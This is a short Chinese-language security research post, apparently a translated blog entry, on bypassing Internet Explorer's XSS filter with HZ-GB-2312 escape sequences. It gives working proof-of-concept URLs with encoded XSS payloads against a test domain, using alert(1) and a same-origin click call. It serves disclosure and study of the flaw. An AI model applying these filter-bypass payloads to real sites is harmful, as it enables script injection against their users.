利用HZ-GB-2312转义序列绕过IE的XSS过滤器
我想分享一种利用HZ-GB-2312编码的转义序列来绕过IE XSS过滤器的方法。
要使用此向量,我们需要目标页面的Content-Type头中未指定字符集。
绕过方法1
PoC: http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA 无需用户交互版本: http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a
“[0x0A]“是HZ-GB-2312转义序列。似乎XSS过滤器对”[0x0A]“做了例外处理。
如果Content-Type头有正确的字符集,则无效: http://vulnerabledoma.in/char_test?charset=utf-8&body=%3Cx~%0Aonmouseover=alert(1)%3EAAA
另一方面,如果meta标签有正确的字符集,仍然有效: http://vulnerabledoma.in/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a
绕过方法2
“~{“也是HZ-GB-2312转义序列。我们可以用它来绕过。我们可以在字符串字面量中调用同源方法。
PoC在此: http://l0.cm/xssfilter_hz_poc.html
请点击"go"按钮。您可以确认element.click方法被调用。
“click"从以下代码调用: http://vulnerabledoma.in/xss_js?q=%22%3B~{valueOf:opener.button.click}//
您也可以使用"toString”: http://vulnerabledoma.in/xss_js?q=%22%3B~{toString:opener.button.click}//
就这些。下个月见!